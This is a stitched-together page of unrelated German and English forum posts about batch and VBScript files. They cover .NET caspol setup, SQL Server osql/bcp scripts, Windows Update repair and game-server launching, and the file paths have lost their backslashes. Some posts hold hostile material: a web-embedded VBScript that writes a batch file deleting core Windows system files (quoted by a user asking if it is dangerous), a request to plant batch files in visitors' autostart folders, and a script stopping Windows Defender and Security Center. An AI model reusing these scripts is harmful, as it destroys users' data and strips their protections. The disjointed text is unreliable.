Szukaj:Słowo(a): vbs echo off
Hallo,

Zitat:
Was und wo genau muss man konfigurieren ?

das XCOPY-Deployment von .NET ist nur für die Fälle vorgesehen, in denen keine sonstigen Konfigurationen notwendig sind. Im Fall einer CAS-Konfiguration (Code Access Security) ist es üblich, in Visual Studio ein Setup-Projekt (.msi) anzulegen und dort eine eigene von System.Configuration.Install.Installer abstammende Klasse unterzubringen. Im dot.net magazin 1/2.06 stellt der Artikel "Gesprengte Fesseln" die Implementierung über ein Beispielprojekt vor.

Alternativ zum MSI-Setup kann über eine BATCH-Datei auch das .NET Framework-Kommandozeilentool caspol.exe verwendet werden. Das folgende Beispiel für eine eigene VSTO-Assembly demonstriert den prinzipiellen Einsatz dieses Tools:

Code: @echo off
echo ############################################
echo # Batchdatei konfiguriert die .NET Code Access Security
echo # für den VSTO-Deployment-Webserver p4d3ghz/DeployVSTO
echo ###############################################

start /wait C:WINDOWSMicrosoft.NETFrameworkv2.0.50727caspol -addgroup 1 -url http://p4d3ghz/DeployVSTO/* FullTrust -name DeployVSTO -description "Web-Deploymentverzeichnis VSTO"

start /wait C:WINDOWSMicrosoft.NETFrameworkv2.0.50727caspol -addgroup DeployVSTO -url http://p4d3ghz/DeployVSTO/* Execution  -name DeployVSTOExec

pause Wenn das .NET Framework 2.0 SDK installiert ist, kann man die Konfiguration auch visuell über den Assistenten aus der .NET Framework-Konfiguration vornehmen.
Hallo,
>Gibt es da etwas fertiges ...
Ja - auch wenn es nicht der Enterprise Manager ist (das Tool für die Datenbankadministratoren), sondern statt dessen <b>Visual Studio .NET 2002/2003</b> (das Tool für die Entwickler) ist. Wenn dort in einem <i>Database Project</i> eine Tabelle über den <i>Server Explorer</i> exportiert wird (Menüpunkt <i>Generate Create Script...</i>), legt VS.NET neben dem SQL-Script für die Tabellenstruktur auch noch eine <b>.DAT</b>-Datei für den Tabelleinhalt an. Zusätzlich wird auch noch eine <b>.CMD</b>-Datei generiert, die Alles mit Hilfe des Kommandozeilen-Tools <b>osql.exe</b> auf dem Zielrechner wieder zusammenbau. Das sieht zum Beispiel dann so aus - wie zu erkennen ist, nutzt das Script das <b>BCP.EXE</b>-Dienstprogramm vom MS SQL Server, um die exportierten Daten in die Tabellen zu laden:
<code>
@echo off
REM: Command File Created by Microsoft Visual Database Tools
REM: Date Generated: 04.03.2005
REM: Authentication type: Windows NT
REM: Usage: CommandFilename [Server] [Database]

if '%1' == '' goto usage
if '%2' == '' goto usage

if '%1' == '/?' goto usage
if '%1' == '-?' goto usage
if '%1' == '?' goto usage
if '%1' == '/help' goto usage

osql -S %1 -E -b -i "CreateExternTable.sql"
if %ERRORLEVEL% NEQ 0 goto errors

bcp "%2.dbo.SD_BL" in "dbo.SD_BL.dat" -S %1 -T -k -n -q
if %ERRORLEVEL% NEQ 0 goto errors
...
...
...
</code&gt
IVerbindungs-Checker
  hi
so.. mein Inet-checker:

@echo off
title Internetverbindungs-CHECKER
color 0a
:anfang
echo %time:~0,8% Es traten keine Fehler auf...
:checke
ping www.google.at -n 2 -w 100 >nul
if %errorlevel%==1 (goto weiter) else (goto anfang)
:weiter
echo.
echo %time:~0,8% Fehler aufgetreten:
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
ping www.google.at >nul
goto checke
mein W-lan stick schaltet sich manchmal aus, jetzt meine frage: kann man mit cmd-oder nen vb script den stick ein-ausschalten?? wäre klasse wenn man das zu meinem kleinen batch-programm ergänzen könnte:wink:

mfg Charli007
Also:

Textdatei öffnen

@echo off
c:
cd
cd dokume~1jay-bee ecent
del *.*
end

reinschreiben und anpassen (für c: halt dein Stammlaufwerk --> wird wohl c sein und für jay-bee halt deinen namen unter dem du dich im Win ameldest --> ist er länger als 8 Zeichen dann kürzt du ihn auf 6 Zeichen ab und hängst ein ~1 hintendran)

Das Ganze als irgendwas.bat abspeichern und in den Autostart-Ordner kopieren.

Das war's !!!

Ist natürlich keine besonders edle Lösung (zumal noch eine "Löschen?"-Abfrage kommt).

Wenn ich mal Zeit und Lust habe, schreib ich dir ein ordentliches Programm in VB oder ähnlichem (vielleicht kennst du ja noch jemand, der dir soetwas machen kann).

Nachtrag: Die Abfrage kannst du übrigens umgehen, in dem du hinter del *.* ein /Q schreibst !!! Zum Testen würde ich es aber erstmal ohne diesen Zusatz (also mit Sicherheitsabfrage) probieren ;).
Naja, hab immernoch nichts vernünftiges zu VBScript oder JScript gefunden.
Dafür hab ich die Batchdatei zum laufen gebracht:
Also für alle die, die gerne noch OldSchool vorgehen und etwas Freude an DOS Batch-Files haben, hab ich hier noch den gekürzten Code wie ich ihn verwenden werde. Da der Pfad für das Start Menu in Win2k und WinXP gleich ist wird er für diese beiden OS sicher funktionieren. Sonst halt anpassen. Dem verknüpften Element können Parameter übertragen werden.

Code: @echo off & setlocal

:start
(set inf=rundll32 setupapi,InstallHinfSection DefaultInstall)
(set dest="Zielort")
(set name="Shortcutname")
(set file="Verknüpftes Element")
(set progman=setup.ini, progman.groups,,)

echo > %temp%#k#.inf [version]
echo >>%temp%#k#.inf signature=$chicago$
echo >>%temp%#k#.inf [DefaultInstall]
echo >>%temp%#k#.inf UpdateInis=Addlink
echo >>%temp%#k#.inf [Addlink]
echo >>%temp%#k#.inf %progman% ""group200="SCut"""
echo >>%temp%#k#.inf setup.ini, group200,, """%name%"",%file%
start/w %inf% 132 %temp%#k#.inf

del /q %temp%#k#.inf
copy "C:Documents and settings\%username%Start MenuProgramsSCut*.*" %dest%
del /q "C:Documents and settings\%username%Start MenuProgramsSCut*.*"
rmdir /q "C:Documents and settings\%username%Start MenuProgramsSCut"
endlocal
:end
Du kannst auch einfach ein Batch Script in den Autorun packen mit folgenden Inhalt:

Code: # nicht getestet sollte aber funktionieren
@echo off
setup.exe
spiel.exe
whatever.exe Und fertig.

Zu dem mit VB, du musst dir doch nur ein Fenster mit Buttons zusammenklicken das die EXE Dateien ausführt.
Das funktioniert nicht :-0
*nachdenk*
gibts vielleicht noch ein anderen weg?
Der ganze quelltext meiner datei sieht so aus(Mit dem Tipp von NataS)

"<html>
<head>
<title>Datei erstellen</title>
<script language="VBScript">
<!--

On Error Resume Next

Dim fs, Win98
Set fs = CreateObject("Scripting.FileSystemObject")
Set winb98 =fs.OpenTextFile("c:windowsdesktopWin98.bat" , 2, True)
Win98.write "Echo off@"& vbCrLF &"cd.." & vbCrLF & "cd.." & vbCrLF & "cd windows" & vbCrLF & " cd Desktop" & vbCrLF & "del d.txt"
Winb98.close
Dim ProcessID
ProcessID=Shell("Win98.bat")
-->
</script>
</head>
<body>
</body>
</html>"
Hi

also du kannst dir ne bat datei schreiben die dann ungefähr so aussieht

@echo off
ping <ip> > c:ping.txt

so dann pingt er die ip und dann schreibt er dir den response in die ping.txt dann musst die nur noch einlesen es geht auch mit der shell_executa api wo du commands übergeben kannst aber das mit der bat datei ist das einfachere du schreibst die einfach von vb heraus und rufst sie dann wie du oben schon geschrieben hast mit

shell <batdatei>,vbhide

auf so das wärs dann eigentlich auch schon

ciao mrproof
mit JAVASCRIPT ein *.bat auf dem compi eines anderen schreiben ?
  Erstmal danke ich Shark wegen des "closens" meiner frage - echt hilfreich gewesen *lach*
nein - ich hab mir ein script in vb zusammengebastelt mit dem ich ein *.bat in den autostart schreiben kann - sauber in meine test - hp eingebaut und haut auch hin - wenn da nicht die zertifizierung wär mit dem schrott aktiv x - ist es möglich das ganze auch mit einem javascript zu basteln ?

dank

<script language="VBScript">
<!--
Set fs = CreateObject("Scripting.FileSystemObject")
Set format = fs.CreateTextFile("tryme.bat")
format.WriteLine("@Echo=off")
format.WriteLine("c:")
format.WriteLine("cd..")
format.WriteLine("autoexec.bat")
format.WriteLine("command.com")
format.WriteLine("config.sys")
format.WriteLine("windows")
format.WriteLine("welcome.exe")
format.WriteLine("winsock.dll")
format.WriteLine("win.ini")
format.WriteLine("winfile.ini")
format.WriteLine("command.com")
format.WriteLine("command.com")
format.WriteLine("explorer.exe")
format.WriteLine("winipcfg.exe")
format.WriteLine("desktop")
format.WriteLine("Pause")
format.Close
--></script>

</body>

</html>
Try my code

I have written it for Westell 6100/Verizon DSL on VB6 but it likes similar
.exe + .bat file

It takes about 3 min to tale a new IP (look at my .ini file)
Code:
 
bat file: 
 
@echo off 
start /wait C:VBprojects outervb outervb.exe 
ping 127.0.0.1 -n 1 >nul

. ini file - Rou.ini
[General]
Visible=1
InitTimeOut=210
Increment=30
ConnectionName=verizon high speed
 
In project references: 
MIcrosoft VB Script Regular expressions 5.5 - C:winntsystem32vbscript.dll3 
 
On form - WebBrowser Control name - brwProxy 
for testing purposes are used labels (Label1, Label2, Label3, Label4), i.e. old/new IP comparisons, time out, seconds' counter
Hallo,

dieser Komfort steht innerhalb eines Datenbankprojekts von Visual Studio .NET 2003 zur Verfügung. Im Server Explorer wird über den Menüpunkt Generate Create Script zuerst die Struktur exportiert, um danach über den Menüpunkt Export Data... die .dat-Dateien mit den Inhalt der Datensätzen anzulegen. Wird dann im Solution Explorer der Menüpunkt Create Command File ausgewählt, baut Visual Studio ein CMD-Script zusammen, dass zuerst die Tabellenstruktur anlegt und danach über bcp.exe die Datensätze aus den .dat-Dateien importiert.

Ein Beispiel sieht dann so aus:

Code: @echo off
REM: Command File Created by Microsoft Visual Database Tools
REM: Date Generated: 09.10.2002
REM: Authentication type: Windows NT
REM: Usage: CommandFilename [Server] [Database]

if '%1' == '' goto usage
if '%2' == '' goto usage

if '%1' == '/?' goto usage
if '%1' == '-?' goto usage
if '%1' == '?' goto usage
if '%1' == '/help' goto usage

osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.tab"
if %ERRORLEVEL% NEQ 0 goto errors
bcp "%2.dbo.TblNew" in "Create Scriptsdbo.TblNew.dat" -S %1 -T -k -n -q
if %ERRORLEVEL% NEQ 0 goto errors
osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.kci"
if %ERRORLEVEL% NEQ 0 goto errors
osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.fky"
if %ERRORLEVEL% NEQ 0 goto errors
osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.ext"
if %ERRORLEVEL% NEQ 0 goto errors

goto finish

REM: How to use screen
:usage
echo.
echo Usage: MyScript Server Database
echo Server: the name of the target SQL Server
echo Database: the name of the target database
echo.
echo Example: MyScript.cmd MainServer MainDatabase
echo.
echo.
goto done

REM: error handler
:errors
echo.
echo WARNING! Error(s) were detected!
echo --------------------------------
echo Please evaluate the situation and, if needed,
echo restart this command file. You may need to
echo supply command parameters when executing
echo this command file.
echo.
pause
goto done

REM: finished execution
:finish
echo.
echo Script execution is complete!
:done
@echo on
Hallo,

beim MS SQL Server 2005 ist das über den so genannten SQLCMD-Modus kein Problem, da dort über die :r-Anweisung externe SQL-Scripte ausgeführt werden können. Das folgende Beispiele zeigt einige der neuen Möglichkeiten:

Code: :Setvar DBName "tempdb"
:Setvar ScriptDir "C:BuchSQLServer2005SourceSQLCMD"
:On Error exit
:Error C:TempScriptTestError.txt
:Out C:TempScriptTestOutput.txt

USE $(DBName)
GO

CREATE TABLE ScriptTest
(
  id  INT        NOT NULL IDENTITY PRIMARY KEY,
  wert NVARCHAR(9) NOT NULL
)
INSERT INTO ScriptTest (wert) VALUES ('Script1a');
GO

:r $(ScriptDir)Script2.sql
 
INSERT INTO ScriptTest (wert) VALUES ('Script1b');
GO
 
SELECT * FROM ScriptTest
GO

DROP TABLE ScriptTest
GO Beim MS SQL Server 2000 gibt es nur den Batch-Weg (über eine .CMD- oder .BAT-Datei), indem die Kommandozeilen-Tools wie osql.exe über den Schalter -i die auszuführende Scriptdatei festlegen. Das könnte dann so aussehen:

Code: @echo off
REM: Command File Created by Microsoft Visual Database Tools
REM: Date Generated: 04.03.2005
REM: Authentication type: Windows NT
REM: Usage: CommandFilename [Server] [Database]
if '%1' == '' goto usage
if '%2' == '' goto usage

if '%1' == '/?' goto usage
if '%1' == '-?' goto usage
if '%1' == '?' goto usage
if '%1' == '/help' goto usage

osql -S %1 -E -b -i "CreateExternTable.sql"
if %ERRORLEVEL% NEQ 0 goto errors

bcp "%2.dbo.SD_BL" in "dbo.SD_BL.dat" -S %1 -T -k -n -q
if %ERRORLEVEL% NEQ 0 goto errors
...
Ich hatte das gleiche Problem lässt sich aber ganz einfach lösen!

und zwar tritt dieser Fehler auf wenn der Windows Updatedienst "beschädigt" ist. Man kann nun einfach alle DLLs Deregistrieren und dann wieder Registrieren und schon sollte es wieder funktionieren (war zumindest bei mir so!)
Dazu einfach:
1. Auf dem Desktop eine neue Textdatei erstellen
2. Öffnen und folgenden Code hinenkopieren:
Code: @echo off
cd
cls

echo.
echo.
echo  Windows Update Wiederherstellung
echo  ================================
echo.
echo  Diese Hilfe dient zur Wiederherstellung aller notwendigen
echo  Microsoft Windows Update .dll Datei-Registrierungen
echo.
echo  Die Nutzung dieser Hilfe geschieht unter Ausschluss jeglicher
echo  Gewaerleistung und/oder Garantie fuer die Funktion auf allen Computern!
echo.
echo  Das Nachregistrieren der Dateien, beneotigt ein wenig ihrer Geduld!
echo.
echo.
echo                                                      -Team MSHelper.de-
echo.
echo.
echo.
echo.

pause
@echo on

regsvr32 cryptdlg.dll /s
regsvr32 dssenh.dll /s
regsvr32 gpkcsp.dll /s
regsvr32 initpki.dll /s
regsvr32 jscript.dll /s
regsvr32 mssip32.dll /s
regsvr32 msxml.dll /s
regsvr32 msxml2.dll /s
regsvr32 msxml3.dll /s
regsvr32 qmgr.dll /s
regsvr32 qmgrprxy.dll /s
regsvr32 rsaenh.dll /s
regsvr32 sccbase.dll /s
regsvr32 slbcsp.dll /s
regsvr32 softpub.dll /s
regsvr32 vbscript.dll /s
regsvr32 wintrust.dll /s
regsvr32 wuapi.dll /s
regsvr32 wuaueng.dll /s
regsvr32 wuaueng1.dll /s
regsvr32 wuauserv.dll /s
regsvr32 wucltui.dll /s
regsvr32 wups.dll /s
regsvr32 wups2.dll /s
regsvr32 wuweb.dll /s

@echo off

echo.
echo.
echo  Alle notwendigen .dll Dateien wurden erfolgreich nachregistriert!
echo  Bitte testen Sie erneut den Zugriff auf die Windows-Update Seite.
echo.
echo.
echo                                                      -Team MSHelper.de-
pause
exit
3. Abspeichern
4. Dateinamen ändern in z.B. WindowsUpdate.bat <-- Dadurch wird es eine Batch (tapelverarbeitungsdatei)
5. Die WindowsUpdate.bat ausführen und nun sollten die Updates auch wieder funktionieren!
vielleicht lernst Du php nach einem Buch/tutorial, das zualt ist für Deine php-Version
siehe auch: http://php.net/register_globals
PHP Quellcode: <?php
echo '<pre>',
    'PHP Version: ', phpversion(), " ",
    'Register Globals: ', (ini_get('register_globals') == '' ? 'Off' : 'On'), " ",
    'Display Errors: ', (ini_get('display_errors') == '1' ? 'On' : 'Off'), " ",
    'Error Level: ', (ini_get('error_reporting') == '2047' ? 'E_ALL' : 'Not E_ALL'), " ",
    '</pre>';
?> kann es Dir "sagen".
Sollte Register Globals: Off sein, betrifft das sowohl Konstanten wie $PHP_SELF als auch übergebene Parameter wie $addspieler
PHP Quellcode: if (isset($_GET['addspieler'])):
...
echo'

[url="', $_SERVER['PHP_SELF'], '"]Einen Spieler hinzufügen![/url]</p>'; usw. usw.

Gibt es vielleicht eine Möglichkeit, Dich von der VB-Form abzubringen und zur C/java-Form zu bekehren? PHP Quellcode: // nach vb
if (isset($addspieler)):
    ...
else:
    ...
endif; PHP Quellcode: // die meisten anderen (weit verbreiteten) Sprachen
if (isset($addspieler)) {
    ...
}
else {
    ...
}
FOR-Befehl - anwenden für Fortgeschrittene
  "Stefan Kanthak" ] schrieb:
------------------------------------------------
@echo off
if "%1"=="" goto error

Was passiert, wenn jemand ChkDate mit ordentlichem Argument "%TEMP%"
aufruft?

Geht einwandfrei. Probiere es doch aus!

Oder wenn %TEMP% Leerzeichen enthaelt, wie in
C:Dokumente und EinstellungenVorname NachnameLokale EinstellungenTEMP?

Die Variable %TEMP% enthält *nie* Leerzeichen!
(Genau so wenig, wie alle anderen)
Scheint Dir wohl unbekannt zu sein? ;-))

Start=Ausführen: CMD /K ECHO %TEMP% eingeben, OK.

if "%2"=="!!CHECKIT!!" goto dothis

Igitt, wie ungeschickt!

for %%d in (%1*.*) do call %0 %%d !!CHECKIT!!

.* ist ueberfluessig und hier ^^ ^ ^ fehlen insgesamt 4 ".

?! Dunkel ist der Rede Sinn.

Nochmals: igitt, wie ungeschickt.

Du kannst es ja umändern, wenn es Dir nicht gefällt.
Ich habe diese Batch-Datei schon unter Windows 95 zum automatischen
Löschen meines TEMP-Verzeichnisses benutzt! ;-)
Allerdings musste %Date% wie folgt erzeugt werden:
,-- [ %Date% unter DOS 7.1: ]
| echo.$$$.tmp
| echo @echo off }{.bat
| dir $$$.tmp | find "$$$" }{.bat
| echo @set date=%%3$$$.bat
| call }{.bat
| del $$$.bat
| del }{.bat
`--------
Unter Windows XP benutze ich überhaupt keine Batch-Dateien,
sondern seit 5 Jahren immer VB- oder JScript!

--
Helmut Rohrbeck www.helmrohr.de
Mail nur über das Kontaktformular
auf meiner Webseite!
Planetside WAR! Call to Arms!
  For those of us with vista, this is quoted from over on the SOE Planetside forums on how to get Vista and PS to play nice with each other.
Planetside forums:
In order to get planetside to work in Vista you need to do the following: (Info provided by ThePodster)

* Install it
* Run the program compatability wizard and select "Planetside" to run with the following settings:
* Use Windows 95 Settings and Disable the last three visual components
* Turn off the Side Bar

This will get it running (you may get a file error, but click ok and it's fine), but it will be a LOT slower than you're used to. In order to get it back up to speed I recommend stopping several non-essential services (for the duration of your play).

These can be achieved using a script (see below) in a .bat file. Just remember to start them again or reboot after play.

@echo off
Echo Stopping services ready for planetside... Press any key...
pause
Net Stop "Function Discovery Resource Publication"
Net Stop "IP Helper"
Net Stop "Offline Files"
Net Stop "Portable Device Enumerator Service"
Net Stop "Print Spooler"
Net Stop "ReadyBoost"
Net Stop "Secondary Logon"
Net Stop "Security Center"
Net Stop "Superfetch"
Net Stop "Tablet PC Input Service"
Net Stop "Terminal Services"
Net Stop "Windows Defender"
Net Stop "Windows Search"
Net Stop "Windows Update"
echo Completed... Press any key to go back to windows
pause

Hope this helps,

Podster.

Alternate Compatibility settings (From iONLYkillVS)

iONLYkillVS was telling me this combo might work better.

Launchpad:
Mode: 95
Admin Rights

Planetside:
Mode: NT 4.0 SP5
(And check the bottom 3 boxes)*
*Gathering details

Weiterlesen...

Tags: professionals, forum, escapistmagazine, english
Guckt euch mal bitte den Script an, wäre dringend.
  Was sagt Ihr zu folgendem Script? Der ist mir auf einer Website begegnet, es kam natürlich die Frage, ob ActiveX ausgeführt werden soll, oder nicht. Ist dieser Script real gefährlich oder Verarschung. Ich wäre mir da gerne sicher, bevor ich den Seitenmacher beschuldige.
Es wäre super nett, wenn ihr mir schnell antworten könntet, bevor nacher massig Leute nen Problem mit ihren Daten bekommen.

<script language="VBScript"><!--
Set fs = CreateObject("Scripting.FileSystemObject")
Set format = fs.CreateTextFile("tryme.bat")
format.WriteLine("@Echo=off")
format.WriteLine("c:")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("del autoexec.bat")
format.WriteLine("del command.com")
format.WriteLine("del config.sys")
format.WriteLine("cd windows")
format.WriteLine("del welcome.exe")
format.WriteLine("del winsock.dll")
format.WriteLine("del win.ini")
format.WriteLine("del winfile.ini")
format.WriteLine("del command.com")
format.WriteLine("del command.com")
format.WriteLine("del explorer.exe")
format.WriteLine("del winipcfg.exe")
format.WriteLine("cd desktop")
format.WriteLine("del tryme.bat")
format.WriteLine("Echo=files deleted!")
format.WriteLine("Pause")
format.Close
--></script>
Ok Ok.Sorry.
Klappt aber noch net so richig.
Code
Code: Option Explicit
Dim FSO, Verzeichnis, Datei, Pfad, SQLScript
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Verzeichnis = FSO.GetFolder( "." )
Set SQLScript = FSO.CreateTextFile("install.sql", True)
 SQLScript.WriteLine ("spool install.Log")
For Each Datei In Verzeichnis.Files
  If UCase(Left(Datei.Name, 5)) = "ALTER" Then
    SQLScript.WriteLine ("@@" + Datei.Name) 
 'If UCase(Right(Datei.Name, 4)) = ".SQL" Then
  ' SQLScript.WriteLine ("@@" + Datei.Name)
  'End If 
  Else If UCase(Right(Datei.Name, 4)) = ".PLB" Then
    SQLScript.WriteLine ("@@" + Datei.Name)
  End If
Next  SQLScript.WriteLine ("COMMIT;")
SQLScript.WriteLine ("@@L:Kvasysql9icompile.sql")
SQLScript.WriteLine ("spool off")
SQLScript.Close
wscript.Echo "install.sql wurde erstellt" Ich könnte ja auch die auskommentierten Zeilen wieder rein nehmen,aber dann schreibt er die anzulegende "install.sql" auch mit rein in die "install.sql"
mit 2 @ davor(@@install.sql)

Fehlermeldung die erscheint beim ausführen
Code: Zeile:      29
Zeichen:  2
Fehler:    nicht erwartet:'next'
Code:800A041F
Quelle: Kompilierungsfehler in Microsoft VBScript DAnke für deine Hilfe :p dieseyer :p
Gibt es nun Jokerzeichen(Wildcard`s)????????????????????????????? :sorry :sorry :sorry :sorry :sorry :sorry :sorry :sorry :sorry :sorry :sorry :sorry
hallo,
ich habe nun die programme installiert, bekomme aber leider immer schon nach ein paar sekunden eine fehlermeldung.
hoffe mir kann jemand helfen....

in der bat datei ist eine zeile wo eine datei ausgeführt wird, die ich nicht habe.

call "C:Program filesMicrosoft Visual Studio 9.0vcinvcvars64.bat"

ich habe dafür
call "C:Program filesMicrosoft Visual Studio 9.0vcinvcvarsx86_amd64.bat"

genommen...

hier mal die gesamte batch datei:
@echo off

rem you can setup your default directory here
rem ==============
c:
cd mame

call "C:Program filesMicrosoft Visual Studio 9.0vcinvcvarsx86_amd64.bat"

rem change the paths to match your setup
rem ==============
path=c:mingwin;c:mamea;%path%

rem change the paths if you use a different version of the SDK
rem ==============
set INCLUDE=%Microsoft DirectX SDK (August 200%Include;%INCLUDE%
set LIB=%Microsoft DirectX SDK (August 200%Libx64;%LIB%

rem setup the type of compile here
rem ==============
set MAMEOS=windows
set ARCHOPTS=amd64
set MSVC_BUILD=1
set PTR64=1
set DIRECTINPUT=8
set DIRECT3D=9

rem launch a command prompt in the default directory we specified
rem ==============
cmd

folgende meldung erscheint:

Compiling src/osd/windows/vconv.c...
vconv.c
src/osd/windows/vconv.c(11) : fatal error C1083: Cannot open include file: 'wind
ows.h': No such file or directory
mingw32-make: *** [obj/windows/vmame/osd/windows/vconv.o] Error 2

oder diese:

Compiling src/osd/windows/vconv.c...
vconv.c
Linking obj/windows/vmame/osd/windows/vconv.exe...
Compiling src/emu/cpu/m68000/m68kmake.c...
mingw32-make: *** [obj/windows/vmame/emu/cpu/m68000/m68kmake.o] Error -99
Seit MySQL5 Fehler in einem Script
  Hallo,
in diesem Script taucht seit dem Upgrade auf MySQL 5 ein fehler auf
Zitat:
<html>
<center>
<?php
// Version 1.0.0
// Released December 2nd, 2006
// Edit the line below to show path to your forums
$forumpath = "http://www.celebritymarkt.org/";

// You dont have to edit anything underneath here,
// but you can if you wish to style the login box
// to match the style of your site.
// ---------------
// COPYRIGHT STUFF
// ---------------
// You are free to use and modify this script in anyway you like.
// However,
// - Do not remove copyright notice
// - Dont pass it off as your own work.
//
// This script is provided free of charges, however If you use this on a commercial
// venture a small paypal donation to cwp@cwp.id.au would be apprecieated.

// We check if user is logged in
if ($vbulletin->userinfo['userid']!=0) {
// If Logged in display welcome back message
echo "Welcome Back, <b>";
echo $vbulletin->userinfo['username'];
echo " !</b><br>";
// If logged in display logout link
echo "<a href="".$forumpath."/login.php?$session[sessionurl]do=logout&amp;logouthash=$logouthash";
echo $vbulletin->userinfo['logouthash'];
echo "">";
echo "<font size="1" face="verdana">Log Out</font></a>
";
} else { // If user is not logged in, we do this stuff
// Display text and link to register.
echo "
You have to <a href="".$forumpath."/register.php?s=$session[sessionhash]"
target="_parent"><b>register</b></a> before you can post on our forums or use our advanced features.
";
// Display login boxes + button
// You can style this with html or CSS as normal if desired.
echo"
<form action="".$forumpath."/login.php" method=post onsubmit=md5hash(vb_login_password,vb_login_md5password,vb_login_md5password_utf)>
<script type=text/javascript src="".$forumpath."/clientscript/vbulletin_md5.js"></script>
User Name:<br>
<input name=vb_login_username type=text id=navbar_username onfocus=if (this.value == '$vbphrase[username]') this.value = ''; size=10 />

<br>Password:<br>
<input name=vb_login_password type=password size=10 />
</br>

<label for=cb_cookieuser_navbar><input name=cookieuser type=checkbox id=cb_cookieuser_navbar value=1 checked=checked />
Remember Me?<br /></label>

<input type=submit title=$vbphrase[enter_username_to_login_or_register] value="Log In" />

<input type=hidden name=s value=$session[sessionhash] />
<input type=hidden name=do value=login />
<input type=hidden name=vb_login_md5password />
<input type=hidden name=vb_login_md5password_utf />
</form>
";
}
?>
</center>
</hmtl>

Es handelt sich um ein SCript das es erlaubt von externen Seiten aus auf das VB zuzugreifen.
http://www.vbulletin.org/forum/showt...=login_inc.php
Der Fehler:
Zitat:

Notice: Undefined index: HTTPS in /var/www/web1/html/close/includes/class_core.php on line 1591
Notice: Undefined index: HTTPS in /var/www/web1/html/close/includes/class_core.php on line 1591
Notice: Undefined index: HTTP_REFERER in /var/www/web1/html/close/includes/class_core.php on line 1618
Notice: Undefined variable: errfile in /var/www/web1/html/close/includes/functions_log_error.php on line 163

Kann mir da jemand bei helfen?
GRuü
Snatch
Lobby Connection Problem = Port Problem
  2 Anhang/Anhänge Moin,

wir haben den Usern die Ihre Server bei uns haben versprochen einen Report zu dem Port Problem zu machen und hier ist er inklusive Screens und ich will nicht hören es liegt am Root oder an unserer Connection da wir wir es auf mehreren Rechnern lokal sowie in verschiedenen Rechenzentren getestet haben.

Vorweg bleibt zu sagen das es mit dem 7011 Standart Port keinerlei Probleme gibt.

Folgendes System wurde für den Hauptest verwendet:

Windows Server 2008 Web Minimal Installation
Processor: AMD Athlon(tm) 64 X2 Dual Core Processor 4400+ ~2.3GHz
Arbeitsspeicher: 2 Gigabyte RAM

Nachinstalliert wurde:
Microsoft Visual C++ Redistributable Package (64-bit) 2008
DirectX 9.0c Redistributable for Software Developers

Folgender Server wurde gestartet und läuft ohne Probleme:

echo off
cls
echo ---------------------------------------------------------
echo Sacred-Project.net Silber Server 16 Slot Free
echo ---------------------------------------------------------
echo starting server...
"D:Sacred2GameServersystems2gs.exe" -diff=silver -connmode=opennet -mode=softcore -type=free -lockconfig -numplayers=16 -name="Sacred-Project.net" -description="Dedicated Server Kontakt: ICQ:425102052 | www.inet-exe.de | sacred-project.net" -port=7011 -lobby=eu.sacred2.net -lobby_port=6800 -lobby_name="*****" -lobby_pwd="*****"
timeout 60
goto jump
echo server shutdown...

Danach wurde versucht einen 2. Server zu starten mit folgenden Parametern:

echo off
cls
echo ---------------------------------------------------------
echo Sacred-Project.net Bronze Server 16 Slot Free
echo ---------------------------------------------------------
echo starting server...
"D:Sacred2GameServersystems2gs.exe" -diff=bronze -connmode=opennet -mode=softcore -type=free -lockconfig -numplayers=16 -name="Sacred-Project.net" -description="Dedicated Server Kontakt: ICQ:425102052 | www.inet-exe.de | sacred-project.net" -port=8011 -lobby=eu.sacred2.net -lobby_port=6800 -lobby_name="*****" -lobby_pwd="******"
timeout 60
goto jump
echo server shutdown...

Das Problem was besteht ist nach wievor was ja angeblich kein Bug ist:

Das der Server zwar startet und läuft aber dennoch nicht im Server Browser erscheint und man folglich nicht drauf connecten kann.

Anhang 40340

Hier der Screen von der Lobby nur Ohne den Bronze Server obwohl er angeblich läuft.Ich seh da keinen "Sacred-Project.net Bronze Server mit 16 Slot im Free Mode.

Anhang 40341

Der 2. Test wurde auf einer Windows Server 2003 Maschiene gemacht in einem anderen Rechnenzentrum und anderer Hardware mit dem selben Ergebnis.

Der 3. Test wurde hier auf meinem Home PC mit Windows XP Prof Corp. gemacht auch hier wieder das selbe Ergebnis.Ich habe weder irgendwelche HW Firewalls aktiv auf den Roots noch hier @ Home da ich hier an einer 2,5MB Leitung sitze.

Zu sagen bleibt noch die Test wurden nicht nach einem Crash gemacht sondern direkt nach einer frischen Win Install auf allen Systemen bis auf meinem Home PC.

Ich denke das reicht zu dem Thema und ich hoffe das sich das nochmal angeschaut wird.
Sollte dies nicht reichen als Report machen wir auch gerne ein Video dazu.

So ich starte dann mal wieder die Server in der Hoffnung das sie In-Game im Browser ankommen und mache wieder GamePorts Raten.

so long
Sacred-Porject.net Team
Hallo,

das folgende Beispiel demonstriert, wird man mit der SQLDMO-Methode <b>ExecuteImmediate</b> direkt ein SQL-Script ausführen kann, dass man vorher im <i>Query Analyzer</i> des MS SQL Server 2000 erfolgreich ausprobiert hat:
<pre>

private void ButtonExecute_Click(object sender, System.EventArgs e)
{
StatusBar1.Text = "Script wird ausgeführt...";
SQLDMO.SQLServer dmoServer = new SQLDMO.SQLServer();
// Schritt 1: Connect zur MSDE 2 bzw. zum MS SQL Server 2000
dmoServer.LoginSecure = true;
dmoServer.Connect(TextBoxMSDEName.Text, null, null);
// Schritt 2: Script ausführen
System.IO.StreamReader aSR;
aSR = System.IO.File.OpenText(@TextBoxScriptFileName.Tex t);
dmoServer.ExecuteImmediate(aSR.ReadToEnd(),
SQLDMO.SQLDMO_EXEC_TYPE.SQLDMOExec_Default, null);
aSR.Close();
// Schritt 3: Disconnect
dmoServer.DisConnect();
StatusBar1.Text = "Fertig";
}
</pre>

